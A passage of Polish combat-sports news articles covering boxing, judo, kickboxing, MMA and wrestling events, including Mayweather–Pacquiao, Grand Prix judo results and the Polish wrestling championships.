Pojedynki amatorskie – ludzie myślą, że one nie odbijają się na zawodnikach, a jest inaczej. Właśnie dlatego wiek w okolicach 30-33 lat uznaje się za najlepszy do przejścia na emeryturę, ponieważ te gwiazdy na amatorstwie stoczyły po 200-300-400 walk i to nie pozostaje bez wpływu – nie bez racji mówi mistrz nokautu z Filadelfii.

Mansour boksu w dużej części uczył się już po rozpoczęciu profesjonalnej kariery. Największą nauczkę dał mu dwukrotny mistrz kategorii junior ciężkiej – Steve Cunningham, który w kwietniu ubiegłego roku zafundował mu pierwszą i jedyną porażkę w karierze. Walka była jednak bardzo zacięta, Cunningham dwukrotnie znalazł się na deskach. Mansour twierdzi, że niejednokrotnie oglądał już nagranie tamtego pojedynku i sporo zmienił w swoim boksie.

Dawejko, chociaż faworytem nie jest i obiektywnie być nie może, subiektywnie musi czuć się pewny siebie jak nigdy wcześniej. Ostatnie cztery pojedynki wygrał przed czasem i to już pierwszej rundzie. Wreszcie ma profesjonalne zaplecze, gdyż na początku kariery sam zarządzą swoimi losami i łapał okazje na ślepo, często nie mając czasu na odpowiednie przygotowania. Ta walka ma go wywindować w rankingach i przenieść na inny poziom zaawansowania, w końcu jego bogata kariera amatorska pozwalała prognozować większe sukcesy niż do tej pory osiągał.

Nie mogę się doczekać 8 maja i debiutu w krajowej telewizji. To będzie eksplozja, zamierzam rozjechać Mansoura, bo to ja jestem czołgiem – odważnie zapowiada 24-letni Dawejko.

Inaczej widzi to "Hardcore" Mansour:

– Zgniotę tego dzieciaka. On nie ma mocy, umiejętności ani mentalności wojownika, żeby przetrwać ze mną pełne 10 rund. Nie zamierzam zostawić jego losu w rękach sędziów, zostawię go w rękach paramedyków – krwiście spuentował.

Czyje zapowiedzi się sprawdzą, dowiecie się włączając FightKlub. Transmisja z gali w filadelfijskiej "2300 Arenie" w nocy z piątku 8 maja na sobotę od 03:00! Powtórka w sobotę o godzinie 11:30.

Źródło: materiały prasowe

Grand Slam w judo: Baku kolejnym wyzwaniem Polaków

Grand Slam w judo: Baku kolejnym wyzwaniem Polaków

Po bardzo dobrym występie w Grand Prix w Zagrzebiu, turniej Grand Slam w Baku będzie kolejnym wyzwaniem dla polskich judoków. Transmisje na żywo od 8 do 10 maja w FightKlubie, codziennie od godziny 14:00.

Reprezentantki Polski świetnie spisały się w hali Dom Sportova, gdzie 10 lat temu siatkarki Andrzeja Niemczyka zdobyły Mistrzostwo Europy. Agata Perenc -52 kg i Daria Pogorzelec -78 kg wywalczyły brązowe medale, a Agata Ozdoba -63 kg i Katarzyna Kłys -70 kg zajęły 5 miejsce.

– Najbardziej cieszę się z tego, że wszystkie walki wygrałam na moją koronną technikę, jest ogromny postęp techniczny i taktyczny oraz psychiczny, a to dzięki trenerce Anecie Szczepańskiej – mówi Agata Perenc, która w kadrze współpracuje z Wicemistrzynią Olimpijską z Atlanty, a z sukcesami również trenuje w Polonii Rybnik z Arturem Kejzą.

Blisko podium w Zagrzebiu była też brązowa medalistka zeszłorocznych ME Agata Ozdoba. W walce o brąz przegrała 1 karą ze słynną Yarden Gerbi z Izraela. – Piąte miejsce zawsze jest nieprzyjemne, bo przydałby się medal. Jestem w miarę zadowolona, bo zdobyłam 60 punktów do rankingu i pokonałam Tsedevsuren z Mongolii, która w tym roku była w finałach dwóch innych turniejów Grand Prix – powiedziała Agata Ozdoba.

Cała czwórka najlepszych judoczek zgłoszona jest do silnie obsadzonego Grand Slamu w Baku. To jeden z ostatnich sprawdzianów przed czerwcowymi Mistrzostwami Europy włączonymi do programu Igrzysk Europejskich. Te zawody odbędą się również w azerskiej stolicy, dlatego tak ważny jest start w Grand Slamie.

W piątek walczyć będę zawodniczki z kat. -48 kg, -52 kg, – 57 kg i zawodnicy z kat. -60 kg, -66 kg, w sobotę – odpowiednio -63 kg i -70 kg oraz -73 kg i -81 kg, zaś w niedzielę -78 kg, +78 kg oraz -90 kg, -100 kg i +100 kg.

Źródło: materiały prasowe

Kickboxing: Kolejny mecz Polaków

Grupa DSF zapowiada kolejne wydarzenie. Organizator zaplanował kolejny mecz na płaszczyźnie kickboxingu, tym razem Polska zmierzy się z fighterami z Łotwy.

Grupa DSF oferuje tego typu wydarzenie po raz drugi. Wielkim sukcesem okazał się mecz Polska – Macedonia, który w kwietniu odbył się w warszawskiej Arenie Ursynów. Widowisko na najwyższym poziomie, dostarczyło wiele artystycznych wrażeń widzom, a przede wszystkim – emocji sportowych i efektownych walk. DSF konsekwentnie stawia na popularyzację kickboxingu i chce rozszerzać zasięg swoich imprez.

W starciu z Macedończykami Polacy okazali się lepsi. Trzy pojedynki i trzy wygrane – nie było żadnych wątpliwości, kto jest lepszy. Biało – czerwoni pokazali klasę. Kamil Ruta i Łukasz Wichowski udowodnili swoją wartość, a Dorota Godzina dodatkowo wywalczyła pas. Sam aspekt sportowy spełnił oczekiwania, gdyż królował kickboxing. Polacy porwali publiczność, a organizator zbierał pochwały. Grupa DSF ma stabilny skład, który dobrze się ze sobą rozumie. Trójka Godzina, Ruta i Wichowski coraz mocniej przebija się do społecznej świadomości. Ważny jest także poziom organizacyjny imprez, na którym grupa DSF zaskakuje za każdym razem. Nie ulega wątpliwości, że mocne wejścia zawodników w pięknym anturażu są istotnym elementem widowiska, gdyż świadczą o jego profesjonalnym charakterze. Gra świateł, goście specjalni – to też odgrywa istotną rolę. Warto podkreślić, że każda gala jest coraz bardziej efektowna i zaskakująca.

Jak będzie tym razem? 12 czerwca odbędzie się już piąta gala DSF Kickboxing Challenge. Tym razem organizator podchwycił ideę tworzenia widowiska poprzez mecze międzynarodowe. Rywalizacja reprezentacyjna wzbudza dodatkowe emocje, a sami fighterzy na tym poziomie generują dodatkowe siły. Wygląda to imponująco, dlatego grupa DSF po raz kolejny stawia na mecz w wykonaniu najlepszych polskich kickbokserów. Teraz razem biało – czerwonym przyjdzie mierzyć się z fighterami z Łotwy. Należy podkreślić, że zawodnicy z Rygi to jedni z najlepszych w swoim fachu. Dlatego śmiało można oczekiwać widowiska na najwyższym poziomie. Po raz kolejny dojdzie do rywalizacji w K-1 i full contact.

Organizator zamierza dostarczyć kolejnych kickbokserkich wrażeń. Grupa DSF nie ustaje w swoich działaniach na rzecz popularyzacji dyscypliny w Polsce. Piąta gala ma być lepsza niż poprzednie – takie jest założenie. Macedonia pokonana, rozbita w proch. Czy Łotysze też wrócą ze spuszczonymi głowami do domów? 12 czerwca Hala Mistrzów we Włocławku będzie gościła fighterów z najwyższej półki. Kickboxing na poziomie zawodowym jest niezwykle widowiskowy, a w Polsce nie brakuje ciekawych imprez. Grupa DSF coraz śmielej trafia do społecznej świadomości. Oprócz meczu Polska – Łotwa istotnym elementem wydarzenia będzie turniej wagi ciężkiej K-1. DSF Kickboxing Challenge 5 rozpocznie polskie słoneczne lato.

KM

Usprawiedliwienie Pacquiao

Filipińczyk z kontuzją barku wszedł do ringu, aby rywalizować z Floydem Mayweatherem Jr. Mimo determinacji i woli walki przegrał pojedynek XXI wieku.

Niektórzy w urazie Pacquaio dopatrują się wymówki i sposobu na usprawiedliwienie porażki w rywalizacji z Mayweatherem. Okazuje się, że o kontuzji „Pacmana” na dziesięć dni przed pojedynkiem poinformowana została Agencja Antydopingowa. Bokser doznał uszkodzenia ścięgien stawu ramiennego prawej ręki. Przed wejściem do ringu Filipińczyk chciał zlikwidować źródło uciążliwego bólu poprzez zastrzyk z toradolem. Zwrócił się więc z prośbą o możliwość wykonania czynności, jednak Komisja Sportowa Stanu Nevada nie wyraziła zgody na taki krok. Pacquiao musiał więc pogodzić się z decyzją wyższego organu i wejść do ringu.

Filipińczyk twierdzi, że Mayweather mógł wiedzieć o jego kontuzji. Wedle „Pacmana” taka informacja mogła trafić do jego rywala za pośrednictwem komisji, której pięściarz zarzuca również konieczność zmiany taktyki. Decyzja o niewydaniu zgody na zastosowanie środków przeciwbólowych sprawiła, że były czempion WBO wagi półśredniej musiał walczyć zarówno z bólem jak i z rywalem, a ponadto – uważać na rękę. Jednak zarzuty skierowane do komisji mogą przynieść „Pacmanowi” kłopoty. Niewykluczone, że zostanie on ukarany grzywną bądź zawieszony.

Walka, na którą czekali niemalże wszyscy mieszkańcy ziemi znalazła swoje rozstrzygnięcie. Teraz na jaw wychodzą pewne kwestie poboczne jak uraz Pacquiao. Wedle najlepszych informacji okazuje się, że Pacman miał problemy zdrowotne. Jak już zostało wspomniane – fakt ten odnotowała Agencja Antydopingowa. Trzeba podkreślić, że tylko odnotowała i nie mogła nic więcej zrobić, gdyż nie uzyskała dokumentacji medycznej ani prześwietlenia ręki. W ten sposób procedury zostały wstrzymane i Komisja Sportowa nie otrzymała informacji o urazie. Warto również zwrócić uwagę na postępowanie Pacquiao i jego teamu. Po ceremonii ważenie główni aktorzy widowiska musieli odpowiedzieć na pytania dotyczące stanu zdrowia. W dokumencie Pacquiao nie ma żadnego słowa dotyczącego kontuzji.

Różnie można oceniać sprawę domniemanego wpływu urazu „Pacmana” na jego ringową dyspozycję. Jedno jest pewne – zdrowie jest najważniejsze. Niepokoi, że ktoś o tym zapomniał. Aby zadbać o zdrowie i komfort walki Pacquiao należało postępować zgodnie z procedurami i wtedy nie byłoby problemu z podaniem środków przeciwbólowych. A tak to wygląda to na szukanie wymówki, choć uraz jest faktem.

Stan zdrowia Pacquiao nakazuje podjęcie działań.  Uszkodzone zostały ścięgna stawu ramiennego. Konieczna jest operacja kontuzjowanego barku, co wyłączy pięściarza z treningów na sześć miesięcy. Należy uwzględnić przy tym konieczność rehabilitacji, co wydłuży przerwę Pacquiao. Zapewne na ring Filipińczyk wróci dopiero w nowym roku, a niewykluczone, że jest absencja potrwa rok. Pięściarz będzie mógł wcześniej rozpocząć treningi, ale upłynie trochę czasu zanim ręka dojdzie do pełnej sprawności.

KM

 

Dwie Polki punktowały w Berlinie

Stolica Niemiec gościła judoków niemalże z całego świata. W Berlinie odbył się Puchar Europy Kadetów w judo. Niestety, Polacy nie mają powodów do zadowolenia.

Do Niemiec udała się czterdziestoosobowa kadra Polski, jednak żadnemu z naszych reprezentantów nie udało się stanąć na podium. Tylko dwie judoczki zajęły punktowane miejsca. Barbara Kulik bardzo dobrze rozpoczęła turniej. Polka w kategorii wagowej 63kg wygrała trzy pojedynki. Kolejno odprawiła: Dalię Liluashvili z Rosji, Natalię Lopes z Brazylii oraz Laerke Olsen z Danii. Na tym kończą się dobre informacje na temat występu Polki w Berlinie. W kolejnych dwóch pojedynkach Kulik musiała uznać wyższość swoich rywalek. Sanne Vermeer i Gioia Vetterli pozbawiły Polkę marzeń o medalu. Warto dodać, że brązowy medal zdobyła Dunka Olsen, z którą Kulik wygrała, jednak ta dobrze poradziła sobie w repasażach. W kategorii 63kg triumfowała Chie Sasaki z Japonii. Druga z Polek, która zajęła punktowane miejsce to Julia Jaśkiewicz (70kg). Na początek Polka zwyciężyła w pojedynku z Denise de Korte z Holandii, ale w drugiej walce musiała uznać wyższość Petry Opersnik ze Słowenii.  W repasażach Jaśkiewicz położyła dwie rywali i trafiła na zawodniczkę z Japonii. Suzuka Takaku zakończyła udział młodej Polki w berlińskim turnieju. Dwie rywalki, z którymi Jaśkiewicz przegrała znalazły się na podium. Opersnik zajęła drugą pozycję, Suzuka była trzecia. Zwycięstwo przypadło Alinie Boehm z Niemiec, Jaśkiewicz została sklasyfikowana na siódmym miejscu. Warto również odnotować występy innych naszych kadetów, którzy uplasowali się na dziewiątych lokatach: Eryk Ryciak (-90kg), Maciej Krogulski (-73 kg), Michał Michalski (-60 kg) i Paulina Dziopa (-70 kg).

W rywalizacji pań dominacja Japonek, które zdobyły pięć złotych medali. Nie jest to jednak najlepszy wynik medalowy Pucharu Europy. W Berlinie najwięcej medali przypadło w udziale gospodyniom – siedem krążków. Jednakże Japonki okazały się najlepsze w pięciu kategoriach wagowych. W 44kg zwyciężyła Riko Igarashi, w 52kg najlepsza okazała się Kana Tomizawa, triumf Ryoko Takedy w 57kg. Chie Sasaki zdominowała rywalizację w 63kg, a Akira Sone w +70kg. Co prawda Niemki zdobyły siedem medali, ale tylko jeden złoty, po który sięgnęła Alina Boehm. Ponadto, pierwsze miejsce w kategorii 40kg dla Rosjanki Olgi Borisovej, a Marusa Stangar ze Słowenii w 48kg.

Rosjanie niepodzielnie panowali w Berlinie. Aż pięć złotych medali wywalczyli reprezentanci Sbornej, a łącznie na swoim koncie zapisali dziewiętnaście krążków. Dominację Rosjan zdołało zachwiać dwóch Brazylijczyków i Izraelczyk. Tomer Golomb triumfował w kategorii 55kg, zaś reprezentanci Canarinhos: Joao Paulo Correira w 50kg, a Jeferson Santos Junior w 66kg. Rosjanie całkowicie zdominowali rywalizację w 60kg. Triumfował Akhmed Bogatyrev, Savelii Bednarskii był drugi, a na najniższym stopniu podium stanął David Abdullaev.

 

KM

Szalony Bakocević

Vaso Bakocević jest bardzo dobrze znany polskiej publiczność. Podczas występów w Polsce 25-latek pokazał się z dobrej strony, choć nie odniósł w naszym kraju sukcesu na płaszczyźnie mieszanych sztuk walki. Dał się poznać jako jeden z najbardziej szalonych i nieprzewidywalnych fighterów.

Czarnogórzec jest niezwykle energicznym zawodnikiem, który jest gotowy na wszystko. W 2014 roku 25-latek stoczył siedem pojedynków, ale ma plan poprawić ten wynik. Terminarz Bakocevicia jest bardzo napięty i zarazem zaskakujący. Czarnogórzec już 9 maja pojawi się w Serbii na Battle of Champions, gdzie zmierzy się z Sidartem Patarcicem. Na gali Bushido Fighting Championship, która odbędzie się 23 maja Bakocević wejdzie do oktagonu, ale nadal nie jest znane nazwisko jego rywala. Gdyby tego było mało – Czarnogórzec planuje w maju jeszcze jeden pojedynek. 30 dnia miesiąca wystąpi na Bosnian Fighting Championship 2 w rywalizacji z Pieterem Buistą. Jakby nie patrzeć – trzy pojedynki w ciągu miesiąca. Gość musi mieć ogromną wiarę we własne umiejętności bądź niezwykle wytrzymały i wydolny organizm. Chyba, że rywale Bakocevicia okażą się kompletnymi niedojdami, a ten jednym ruchem ręką załatwi sprawę. Fakt, że 25-latek może być motorem napędowym imprez, w których wystąpi. Warto podkreślić, że mimo wszystko Bakocević wysoko stawia sobie poprzeczkę. Po takim maratonie może dochodzić długo do siebie.

Gdyby tego szaleństwa było mało. Nawet trudno o tym pisać, bo aż włosy jeżą się na głowie. Niby Szewczyk Dratewka machnął groźnego smoka, a Dawid pokonał Goliata. Bakocević, którego waga  określona została na poziomie 66kg chce zmierzyć się z zawodnikiem dwukrotnie cięższym od siebie! Na Montenegro Fighting Championship 25-latek ma stanąć naprzeciw 120-kilogramowego Sasy Lazica. Tym samym spełnia swoje marzenie. Nie dziwi więc przydomek „Psychopata”. Plan na najbliższy czas w wykonaniu Bakocevicia niezwykle intensywny. Warto dodać, że Czarnogórzec już tym roku stoczył pojedynek. Podczas gali w Abu Dhabi pokonał Davida Matosevicia.

Bakocević jest doskonale znany w Polsce. Gościł w naszym kraju kilkukrotnie i zawsze przegrywał. Polscy fighterzy nie leżą 25-latkowi, który pragnie zawładnąć światem MMA. Należy wspomnieć, że pierwszego Polaka na swojej drodze Bakocević spotkał podczas gali WFC 17 w Słowenii. Piotr Hallmann w drugiej rundzie pozbawił Czarnogórca złudzeń. 25-letni Czarnogórzec pojawił się w Polsce w marcu 2014 roku.  Podczas PLMMA 29-Extra zmierzył się z Łukaszem Chlewickim, z którym przegrał decyzją sędziów. Potem było KSW. Podczas dwudziestej ósmej gali największej organizacji MMA w Polsce Bakocević został znokautowany przez Macieja Jewtuszko, jednak pokazał się z bardzo dobrej strony. W grudniu na KSW 29 przegrał z Arturem Sowińskim. Od tamtej pory stoczył dwie walki, które wygrał. Teraz na ambitny plan, którym wielu wprawia w osłupienie. Czy podoła? Na pewno wzbudzi zainteresowania, ale postawą podczas walki musi udowodnić, że poziom sportowy idzie w parze ze zdrowym rozsądkiem.

KM

Money wystartował po rekord

Pojedynek stulecia znalazł swój finał w ringu. Emocje już opadły, wynik jest znany. Floyd Mayweather Jr. nadal niezwyciężony.

Pięściarze musieli przejść długą drogę, aby doszło do walki XXI wieku. Przygotowania do pojedynku trwały latami. Zarówno Mayweather i Pacquiao skakali sobie do gardeł, jednak nie potrafili porozumieć się w sprawie organizacji walki. Proces ten trwał wiele lat. W głównej mierze ów fakt sprawił, że zainteresowanie pojedynkiem urosło do gigantycznego poziomu. Nie tylko zainteresowanie, ale także, a może przede wszystkim – możliwość zysków. Gdy pojedynek stał się faktem jasne było, że dla bokserów będzie to prawdziwa żyła złota. Mayweather nie bez kozery ma przydomek „Money”. Pacquiao w ringu również swoje zarobił, ale walka stulecia jeszcze powiększyła ich zasoby. Mayweather zgarnął ponad 120 milionów dolarów, a Filipińczyk niecałe sto, jednak warto pamiętać, że kwoty te wzrosną w związku z podziałem wpływów z pay per view oraz innych źródeł.

Całokształt działań wokół widowiska nieco przyćmił aspekt sportowy. Należy pamiętać, że „Money” i „Pacman” to wybitni pięściarze. Jednak dzisiejszy boks nastawiony jest na show i robienie pieniędzy. A kto jest w tym lepszy niż Mayweather? Facet, który kocha kasę i nawet się z tym nie kryje. Liczne filmiki z plikami dolarów czy przypalanie cygara studolarówką mówią same za siebie. Wielu puka się w czoło, że Amerykaninowi najzwyczajniej w świecie odbiło. Mimo to w ringu udowadnia swoją wartość, jednak ma zupełnie inną osobowość niż Pacquiao. Filipińczyk to spokojny, rodzinny facet, który pomaga swoim rodakom na gruncie edukacji czy służby zdrowia. W końcu Ci dwaj panowie mieli okazję spotkać się i udowodnić swoją wartość.

Filipińczyk czuł, że ma wsparcie trybun. Fani gwizdali na „Moneya”, a Filipińczykowi dodawali otuchy. Pierwsza runda służyła rozpoznaniu, jednak w drugiej odsłonie wspierany przez kibiców Pacquiao ruszył na Mayweathera. Starał się zaskoczyć Amerykanina serią ciosów i uciekać na dystans, jednak „Money” zachował trzeźwość umysłu i prawym zaskoczył przeciwnika. W trzeciej rundzie Pacquiao znalazł się w tarapatach. Dwa potężne, soczyste ciosy sprawiły, że Filipińczyk miał problemy, ale przetrwał napór przeciwnika. Lewa ręka Pacquiao dotarła do oczu Maywaethera w czwartej rundzie i Amerykaninowi z pewnością zrobiło się gorąco, a na pewno chwiejnie. „Money” nie potrafił odpowiedzieć, ale w narożniku doszedł do siebie. Piąte starcie na korzyść Amerykanina, kiedy to raz po raz trafiał Filipińczyka. Ponadto, „Money” prowokował rywala opuszczając nisko ręce. Mayweather zdecydowanie prowadził. Dobra praca nóg, uciekanie do dystansu i pełna kontrola nad walką. Amerykanin celnie punktował Pacquiao, który starał się trafiać, ale nie było to częste zjawisko. Kiedy już Filipińczyk miał przeciwnika na linach, ten szybko uciekał. Mayweather idealnie kontrował Pacquiao. „Money” potrafił przyjąć kilka ciosów, które nie zrobiły na nim wrażenia, by błyskawicznie ukłuć przeciwnika.

Mayweather jest obecnie w posiadaniu trzech pasów w kategorii półśredniej: WBC i WBA oraz WBO – dotychczas należącego do Pacquiao. Sędziowie byli jednomyślni i punktowali 118:110, 116:112 i 116:112 na korzyść Amerykanina. Mayweather odniósł czterdzieste ósme zwycięstwo w zawodowej karierze. Lada chwilę może pobić rekord wszechczasów. W jego posiadaniu nadal jest Rocky Marciano, który wygrał czterdzieści dziewięć walk z rzędu. Czy „Money” przejdzie do historii?

KM

Polak wyleciał z UFC

Marcin Bandel zakończył swoją przygodę z najlepszą organizacją mieszanych sztuk walki na świecie. UFC zwolniło polskiego zawodnika.

Popularny „Bomba” oficjalne występy w MMA rozpoczął w listopadzie 2009 roku. Podczas gali FCK-Slawno odniósł  swoje pierwsze zwycięstwo w pojedynku z Robertem Skrzypczakiem. Po udanym początku nadeszły gorsze chwile. Bandel zanotował dwie porażki, które zachwiały jego pewnością siebie. Jednak „Bomba” wrócił na właściwe tory i zaczął wygrywać. W trzy lata wyrobił sobie pozycję w świecie MMA. Fighter stoczył dwanaście pojedynków i wszystkie wygrał, a po drodze pokonał m.in. Bartosza Fabińskiego. Występy „Bomby” były efektowne, gdyż do tej pory żadna z jego zwycięskich walk nie zakończyła się decyzją sędziów! Bandel przyzwyczaił wszystkich, że nie ma litości dla swoich rywali i zmusza ich do poddania. Te wszystkie czynniki sprawiły, że Polakiem zainteresowało się UFC, które zdecydowało się zakontraktować zawodnika z Łodzi.

Stany Zjednoczone to inny świat – nowe możliwości i szansa na podniesienie poziomu sportowego. Rywale z zupełnie inne półki. Trudne wyzwania, którym należy stawić czoła i zaprezentować się jak najlepiej, aby utrzymać się na szczycie. W innym przypadku można popaść w niełaskę. Bandel stoczył w UFC zaledwie dwa pojedynki – bez powodzenia. W swoim debiucie stanął naprzeciw Mairbeka Taisumova. Tytan z Groznego nie pozostawił Polakowi złudzeń, kto jest lepszy. Już w pierwszej rundzie rozbił fightera z Łodzi i po sześćdziesięciu sekundach Bandel zakończył swój debiut w UFC. Pierwszy krok jest zawsze trudny, ale już na początku „Bomba” znalazł się w trudnym położeniu. Był na cenzurowanym. Każde kolejne potknięcie wiązało się z ewentualnością pożegnania się z UFC. Szansę Bandel dostał podczas polskiego UFC w Krakowie. Podczas UFC Fight Night Gonzaga – Cro Cop 2 „Bomba” stanął naprzeciw Stevena Raya. Szkot debiutował w najlepszej organizacji mieszanych sztuk walki na świecie, jednak nie przejawiał tremy. Bandel z kolei był niepewny, co wykorzystał rywal. Ray w drugiej rundzie pozbawił Polaka złudzeń. Tym samym Bandel poniósł drugą porażkę i musiał liczyć się z zakończeniem przygody w UFC. Włodarze organizacji długo nie czekali. Podjęli decyzję o rozstaniu z Polakiem.

Dwa pojedynki i dwie porażki nie wystawiają najlepszego świadectwa „Bombie”. Zwłaszcza, że Bandel wcześniej zanotował dwanaście kolejnych zwycięstw. Po prostu zawodnikowi z Łodzi nie udało się przeskoczyć pewnego poziomu, jednak zebrał cenne doświadczenie, które może w przyszłości zaprocentować. Bandel nadal jest młodym zawodnikiem (25lat) i teraz ma czas, aby odbudować swoją pozycję i w przyszłości wrócić do UFC. Scenariusz jak najbardziej możliwy. Z UFC pożegnali się również: Seth Baczynski, Cain Carrizosa i Justin Jones.

KM

Dwie brązowe dziewczyny

Zagrzeb szczęśliwy dla Agaty Perenc i Darii Pogorzelec. Zawody Grand Prix w judo przyniosły reprezentacji Polski dwa medale, a nasze zawodniczki zanotowały kolejny występ na dobrym poziomie.

Agata Perenc poszła za ciosem. Powtórzyła swój wyczyn z Turcji, gdzie podczas Grand Prix w Samsun również wywalczyła brązowy medal. Zawodniczka Polonii Rybnik tym samym notuje kolejny dobry występ w tym sezonie. Perenc potwierdza, że jest ważnym ogniwem reprezentacji Polski i w głównych imprezach może pokusić się o medal. Startująca w kategorii 52kg Polka szła jak burza, jednak w półfinale zatrzymała ją zawodniczka z Rosji. Yulia Rygyzowa okazała się lepsza od Perenc. Polka była o krok od wejścia do finału, ale tym razem nie udało się. Perenc potwierdziła dobrą dyspozycję, jednak po raz kolejny niewiele zabrakło jej do wejścia do rozgrywki o złoty medal.

Po brąz sięgnęła również Daria Pogorzelec. Judoczka Wybrzeża Gdańsk w poprzednim sezonie imponowała formą wygrywając m.in. Puchar Świata w Tallinie, jednak w tegorocznych startach rozkręcała się stopniowo. W Zagrzebiu Pogorzelec walczyła ambitnie i z poświęceniem, co sprawiło, że od finału dzielił ją mały krok. Anamari Velensek była rywalką Polki w półfinale. Ze Słowenką nasza zawodniczka toczyła wyrównany bój, jednak przegrała po dogrywce. Velensek triumfowała w kategorii 78 kg, a Pogorzelec uplasowała się na trzecim miejscu. W decydującym o brązowym medalu starciu zawodniczka z Gdańska pokonała Guusje Steenhuis. Polka wygrała cztery pojedynki, co dało jej trzecie miejsce. Tak naprawdę do lepszego rezultatu zabrakło niewiele. Pogorzelec i Perenc zanotowały dobre występy, czego efektem są dwa brązowe medale. Brakowało niewiele, aby awansować do finału, ale trzeba się cieszyć z trzecich miejsc naszych zawodniczek.

Katarzyna Kłys w poprzednim sezonie dała fanom judo wiele powodów do radości. Po jedenastu latach wywalczyła dla Polski medal mistrzostw świata, w Czelabińsku sięgnęła po brąz. W tym sezonie nie jest tak skuteczna.  Zawodniczka Polonii Rybnik w Zagrzebiu uplasowała się na piątym miejscu. Rok temu w Chorwacji Kłys sięgnęła po srebrny medal. Przegrała wtedy w decydującej rozgrywce z Kelicie Zupancic. Historia lubi się powtarzać. Kanadyjka po raz kolejny utarła Polce nosa. Gwoli uzupełnienia, Kłys także miała swoją chwilę chwały w rywalizacji z Zupancic, gdyż pokonała ją podczas mistrzostw świata w Czelabińsku. Piąte miejsce w Zagrzebiu zajęła również Agata Ozdoba. Nasza judoczka w poprzednim sezonie szalała na mistrzostwach Europy, gdzie wywalczyła brązowy medal. Teraz stara się wrócić na właściwe tory. W Zagrzebiu wygrała dwa pojedynki i dwa przegrała. Pogromczynią Polki w decydującym starciu okazała się Yarden Gerbi. Porażka w rywalizacji z Izraelką boli jeszcze bardziej, gdyż Ozdoba przegrała zaledwie jedną karą shido.

Z panów najlepiej zaprezentował się Jakub Wójcik, który jako jedyny zajął punktowane miejsce. Nasz judoka rywalizację w kategorii 100 kg ukończył na siódmej pozycji.

 

KM

MP: Triumfy faworytów

Mistrzostwa Polski seniorów w zapasach nie wykrystalizowały nowych gwiazd. Rywalizacja na krajowym podwórku potwierdziła pozycję „starych wyjadaczy”.

W mistrzostwach wzięło udział ponad dwustu pięćdziesięciu zapaśników. W rywalizacji kobiet wzięło udział siedemdziesiąt zawodniczek, po dziewięćdziesięciu dziewięciu zawodników wystartowało w klasyku i stylu wolnym. Niestety, nie wszystkie kategorie były równo obsadzone. Należy zacząć od rywalizacji pań, która okazała się okrojona. Najwięcej zapaśniczek wystartowało w kategorii 48kg – dziesięć. To mówi samo za siebie. W 63kg i 69kg zaprezentowało się po pięć zawodniczek, co najdelikatniej mówiąc jest wynikiem marnym. Mistrzostwa się odbyły i zawodniczki rywalizowały o medale – to należy im oddać. Rzecz jasna, że ten stan martwi związanych z zapasami, gdyż walka powinna być zacięta, a dyscyplina musi się rozwijać. Obecnie są to pobożne życzenia.

Wśród panów było nieco lepiej. Najwięcej zawodników startowało w kategorii 71kg w stylu klasycznym, bo aż dwudziestu dwóch. Warto podkreślić, że w innych wagach nie było już tak dobrze. Jedynie w 59kg, 75kg oraz 80kg wystąpiło po trzynastu zapaśników. Reszta kategorii skupiła po dziesięciu i mniej zawodników. W stylu wolnym najmniej liczna była waga 65kg – tylko siedem nazwisk, a najbardziej 86kg – szesnastu zapaśników. Widoczna staje się dysproporcja pomiędzy niektórymi kategoriami. Fakt, że w pewnych miejscach jest możliwość zażartej i wyrównanej walki, jednak w większości przypadków mamy do czynienia z walkami zapaśników, którzy znają się „na wylot”. W zapasach konieczny jest proces odnowy, a warto zacząć od tego, aby dyscyplina pojawiała się już w szkołach.

Wracając do głównego tematu, mistrzostwa Polski wśród pań nie zaskoczyły. W 69kg triumfowała doświadczona Agnieszka Wieszczek-Kordus. Brązowa medalista Igrzysk Olimpijskich w Pekinie pozostawiła w tyle Annę Uroda. Dobrą formę z początku sezonu potwierdziła Iwona Matkowska, która triumfowała w 48kg. Monika Michalik rok temu podczas mistrzostw świata w Taszkiencie pokazała, że stać ją na wiele. Zawodniczka Grunwaldu Poznań była o krok od brązowego medalu. Michalik patrzy z nadzieją w przyszłość, a w drodze na kolejne mistrzostwa świata wywalczyła złoto mistrzostw Polski w kategorii 63kg. Ponadto, triumfowały: Katarzyna Krawczyk (53kg), Roksana Zasina (55kg), Paulina Grabowska (58kg), Agnieszka Król (60kg), Anna Wawrzycka (75kg).

W najliczniej obsadzonej kategorii mistrzostw, czyli 71kg w klasyku triumfował Edgar Melkumow z AKS Piotrków Trybunalski. Na krajowym podwórku nie ma mocnych na Damiana Janikowskiego. Brązowy medalista z Londynu okazał się najlepszy w 80kg w stylu klasycznym. W rywalizacji najcięższych (130kg) zwyciężył Łukasz Banak ze Śląska Wrocław. Do historii przeszedł Krystian Brzozowski. Zapaśnik Orła Namysłów zwyciężył w kategorii 74kg w stylu wolnym i był to jego szesnasty złoty medal mistrzostw Polski. Kolejny dobry występ zaliczył Magomedmurad Gadżijew, który zwyciężył w 70kg.

W rywalizacji drużynowej wśród pań najlepszy okazała się ekipa Gryfa Chełm. O zaledwie osiem punktów lepsi okazali się zapaśnicy Olimpijczyka Radom od AKS-u Piotrków Trybunalski w stylu klasycznym. AKS Białgorad najlepszy w stylu wolnym.

KM

Na Zagrzeb

Polscy judocy wystąpią w kolejnych zawodach Grand Prix, tym razem w stolicy Chorwacji. Biało-czerwoni będą rywalizować o kolejne punkty w kwalifikacjach olimpijskich.

W Zagrzebiu wystąpi osiemnastoosobowa kadra Polski. Do rywalizacji stanie aż sześćdziesiąt narodów, o czternaście więcej niż rok temu. Zapowiada się zatem intensywna i zarazem wymagająca walka o medale. Jak zaprezentują się Polacy?

Biało-czerwoni wystartują w Zagrzebiu mając w pamięci rywalizację w mistrzostwach Polski w Kielcach. Po dwie zawodniczki wystąpią w kategoriach 52kg i 57kg. Odpowiednio Agata Perenc i Karolina Pieńkowska oraz Arleta Podolak i Anna Borowska. W Zagrzebiu zaprezentuje się sześć aktualnych mistrzyń Polski. Daria Pogorzelec oraz Katarzyna Kłys zdominowały rywalizację na krajowym podwórku i z nadziejami ruszają do Chorwacji. Ponadto, w Zagrzebiu wystąpią Agata Ozdoba (63kg), Ewa Konieczny (48kg) oraz wspomniane Podolak i Pieńkowska. Perenc z Borowską musiały zadowolić się tylko srebrnymi medalami mistrzostw Polski. Tak samo jaki i Katarzyna Furmanek (+78kg), która w krajowym czempionacie uległa Beacie Pacut. Mimo to z występem zawodniczki AZS-u AWF Gdańsk w Zagrzebiu wiązane są ogromne nadzieje. W tym sezonie Furmanek wygrała już turniej w Pradze i była w czołówce w Casablance. Ostatnie zawody z cyklu Grand Prix odbyły się w Samsun, gdzie nasza 